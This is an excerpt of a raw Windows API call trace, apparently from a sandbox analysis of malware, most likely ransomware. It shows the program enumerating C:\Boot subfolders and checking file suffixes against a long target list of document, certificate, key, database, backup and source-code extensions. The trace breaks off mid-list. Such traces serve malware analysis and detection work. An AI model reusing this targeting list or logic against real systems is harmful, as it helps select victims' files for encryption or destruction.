[0040.447] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".one") returned 4 [0040.447] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".onepkg") returned 7 [0040.447] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0040.447] lstrlenW (lpString=".onetoc2") returned 8 [0040.447] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0040.447] lstrlenW (lpString=".opt") returned 4 [0040.447] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".oqy") returned 4 [0040.447] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".orf") returned 4 [0040.447] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".p12") returned 4 [0040.447] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".p7b") returned 4 [0040.447] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".p7c") returned 4 [0040.447] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0040.447] lstrlenW (lpString=".pam") returned 4 [0040.447] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pbm") returned 4 [0040.448] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pct") returned 4 [0040.448] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pcx") returned 4 [0040.448] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pdd") returned 4 [0040.448] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pdf") returned 4 [0040.448] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pdp") returned 4 [0040.448] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pef") returned 4 [0040.448] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pem") returned 4 [0040.448] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pff") returned 4 [0040.448] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pfm") returned 4 [0040.448] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pfx") returned 4 [0040.448] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".pgm") returned 4 [0040.448] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".php") returned 4 [0040.448] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0040.448] lstrlenW (lpString=".php3") returned 5 [0040.448] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0040.448] lstrlenW (lpString=".php4") returned 5 [0040.449] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0040.449] lstrlenW (lpString=".php5") returned 5 [0040.449] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0040.449] lstrlenW (lpString=".phtml") returned 6 [0040.449] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0040.449] lstrlenW (lpString=".pict") returned 5 [0040.449] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0040.449] lstrlenW (lpString=".pl") returned 3 [0040.449] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0040.449] lstrlenW (lpString=".pls") returned 4 [0040.449] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0040.449] lstrlenW (lpString=".pm") returned 3 [0040.449] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0040.449] lstrlenW (lpString=".png") returned 4 [0040.449] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0040.449] lstrlenW (lpString=".pnm") returned 4 [0040.449] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0040.449] lstrlenW (lpString=".pot") returned 4 [0040.449] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0040.449] lstrlenW (lpString=".potm") returned 5 [0040.449] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0040.449] lstrlenW (lpString=".potx") returned 5 [0040.449] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0040.449] lstrlenW (lpString=".ppa") returned 4 [0040.449] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0040.449] lstrlenW (lpString=".ppam") returned 5 [0040.449] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0040.449] lstrlenW (lpString=".ppm") returned 4 [0040.449] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".pps") returned 4 [0040.450] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".ppsm") returned 5 [0040.450] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0040.450] lstrlenW (lpString=".ppt") returned 4 [0040.450] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".pptm") returned 5 [0040.450] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0040.450] lstrlenW (lpString=".pptx") returned 5 [0040.450] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0040.450] lstrlenW (lpString=".prn") returned 4 [0040.450] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".ps") returned 3 [0040.450] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0040.450] lstrlenW (lpString=".psb") returned 4 [0040.450] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".psd") returned 4 [0040.450] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".pst") returned 4 [0040.450] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".ptx") returned 4 [0040.450] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".pub") returned 4 [0040.450] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".pwm") returned 4 [0040.450] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0040.450] lstrlenW (lpString=".pxr") returned 4 [0040.450] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0040.451] lstrlenW (lpString=".py") returned 3 [0040.451] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0040.451] lstrlenW (lpString=".qt") returned 3 [0040.451] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0040.451] lstrlenW (lpString=".r3d") returned 4 [0040.451] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0040.452] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.452] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.452] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0040.452] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.452] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.452] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.452] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.453] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.453] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.453] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0040.453] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.453] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0041.577] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.577] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.577] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.577] lstrlenW (lpString=".3ds") returned 4 [0041.577] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0041.577] lstrlenW (lpString=".3fr") returned 4 [0041.577] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0041.577] lstrlenW (lpString=".3g2") returned 4 [0041.577] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0041.577] lstrlenW (lpString=".3gp") returned 4 [0041.577] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0041.577] lstrlenW (lpString=".7z") returned 3 [0041.577] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.578] lstrlenW (lpString=".accda") returned 6 [0041.578] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0041.578] lstrlenW (lpString=".accdb") returned 6 [0041.578] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0041.578] lstrlenW (lpString=".accdc") returned 6 [0041.578] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0041.578] lstrlenW (lpString=".accde") returned 6 [0041.578] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0041.578] lstrlenW (lpString=".accdt") returned 6 [0041.578] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0041.578] lstrlenW (lpString=".accdw") returned 6 [0041.578] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0041.578] lstrlenW (lpString=".adb") returned 4 [0041.578] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".adp") returned 4 [0041.578] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".ai") returned 3 [0041.578] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0041.578] lstrlenW (lpString=".ai3") returned 4 [0041.578] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".ai4") returned 4 [0041.578] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".ai5") returned 4 [0041.578] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".ai6") returned 4 [0041.578] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".ai7") returned 4 [0041.578] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0041.578] lstrlenW (lpString=".ai8") returned 4 [0041.578] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".anim") returned 5 [0041.579] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0041.579] lstrlenW (lpString=".arw") returned 4 [0041.579] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".as") returned 3 [0041.579] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0041.579] lstrlenW (lpString=".asa") returned 4 [0041.579] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".asc") returned 4 [0041.579] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".ascx") returned 5 [0041.579] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0041.579] lstrlenW (lpString=".asm") returned 4 [0041.579] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".asmx") returned 5 [0041.579] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0041.579] lstrlenW (lpString=".asp") returned 4 [0041.579] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".aspx") returned 5 [0041.579] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0041.579] lstrlenW (lpString=".asr") returned 4 [0041.579] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".asx") returned 4 [0041.579] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".avi") returned 4 [0041.579] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0041.579] lstrlenW (lpString=".avs") returned 4 [0041.580] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".backup") returned 7 [0041.580] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0041.580] lstrlenW (lpString=".bak") returned 4 [0041.580] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".bay") returned 4 [0041.580] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".bd") returned 3 [0041.580] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0041.580] lstrlenW (lpString=".bin") returned 4 [0041.580] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".bmp") returned 4 [0041.580] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".bz2") returned 4 [0041.580] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".c") returned 2 [0041.580] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0041.580] lstrlenW (lpString=".cdr") returned 4 [0041.580] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".cer") returned 4 [0041.580] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".cf") returned 3 [0041.580] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0041.580] lstrlenW (lpString=".cfc") returned 4 [0041.580] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".cfm") returned 4 [0041.580] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0041.580] lstrlenW (lpString=".cfml") returned 5 [0041.580] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0041.580] lstrlenW (lpString=".cfu") returned 4 [0041.581] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".chm") returned 4 [0041.581] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".cin") returned 4 [0041.581] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".class") returned 6 [0041.581] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0041.581] lstrlenW (lpString=".clx") returned 4 [0041.581] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".config") returned 7 [0041.581] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0041.581] lstrlenW (lpString=".cpp") returned 4 [0041.581] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".cr2") returned 4 [0041.581] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".crt") returned 4 [0041.581] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".crw") returned 4 [0041.581] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".cs") returned 3 [0041.581] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0041.581] lstrlenW (lpString=".css") returned 4 [0041.581] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".csv") returned 4 [0041.581] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".cub") returned 4 [0041.581] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0041.581] lstrlenW (lpString=".dae") returned 4 [0041.581] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".dat") returned 4 [0041.582] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".db") returned 3 [0041.582] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0041.582] lstrlenW (lpString=".dbf") returned 4 [0041.582] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".dbx") returned 4 [0041.582] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".dc3") returned 4 [0041.582] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".dcm") returned 4 [0041.582] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".dcr") returned 4 [0041.582] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0041.582] lstrlenW (lpString=".der") returned 4 [0041.582] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".dib") returned 4 [0041.583] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".dic") returned 4 [0041.583] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".dif") returned 4 [0041.583] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".divx") returned 5 [0041.583] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0041.583] lstrlenW (lpString=".djvu") returned 5 [0041.583] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0041.583] lstrlenW (lpString=".dng") returned 4 [0041.583] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".doc") returned 4 [0041.583] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".docm") returned 5 [0041.583] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0041.583] lstrlenW (lpString=".docx") returned 5 [0041.583] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.583] lstrlenW (lpString=".dot") returned 4 [0041.583] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0041.583] lstrlenW (lpString=".dotm") returned 5 [0041.583] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0041.583] lstrlenW (lpString=".dotx") returned 5 [0041.583] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0041.583] lstrlenW (lpString=".dpx") returned 4 [0041.584] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".dqy") returned 4 [0041.584] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".dsn") returned 4 [0041.584] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".dt") returned 3 [0041.584] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0041.584] lstrlenW (lpString=".dtd") returned 4 [0041.584] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".dwg") returned 4 [0041.584] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".dwt") returned 4 [0041.584] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".dx") returned 3 [0041.584] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0041.584] lstrlenW (lpString=".dxf") returned 4 [0041.584] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".edml") returned 5 [0041.584] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0041.584] lstrlenW (lpString=".efd") returned 4 [0041.584] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".elf") returned 4 [0041.584] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".emf") returned 4 [0041.584] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".emz") returned 4 [0041.584] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".epf") returned 4 [0041.584] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0041.584] lstrlenW (lpString=".eps") returned 4 [0041.585] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".epsf") returned 5 [0041.585] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0041.585] lstrlenW (lpString=".epsp") returned 5 [0041.585] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0041.585] lstrlenW (lpString=".erf") returned 4 [0041.585] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".exr") returned 4 [0041.585] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".f4v") returned 4 [0041.585] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".fido") returned 5 [0041.585] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0041.585] lstrlenW (lpString=".flm") returned 4 [0041.585] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".flv") returned 4 [0041.585] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".frm") returned 4 [0041.585] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".fxg") returned 4 [0041.585] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".geo") returned 4 [0041.585] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".gif") returned 4 [0041.585] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".grs") returned 4 [0041.585] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0041.585] lstrlenW (lpString=".gz") returned 3 [0041.585] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0041.585] lstrlenW (lpString=".h") returned 2 [0041.585] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0041.585] lstrlenW (lpString=".hdr") returned 4 [0041.586] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".hpp") returned 4 [0041.586] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".hta") returned 4 [0041.586] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".htc") returned 4 [0041.586] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".htm") returned 4 [0041.586] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".html") returned 5 [0041.586] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0041.586] lstrlenW (lpString=".icb") returned 4 [0041.586] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".ics") returned 4 [0041.586] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".iff") returned 4 [0041.586] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".inc") returned 4 [0041.586] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".indd") returned 5 [0041.586] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0041.586] lstrlenW (lpString=".ini") returned 4 [0041.586] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".iqy") returned 4 [0041.586] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".j2c") returned 4 [0041.586] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0041.586] lstrlenW (lpString=".j2k") returned 4 [0041.587] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".java") returned 5 [0041.587] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0041.587] lstrlenW (lpString=".jp2") returned 4 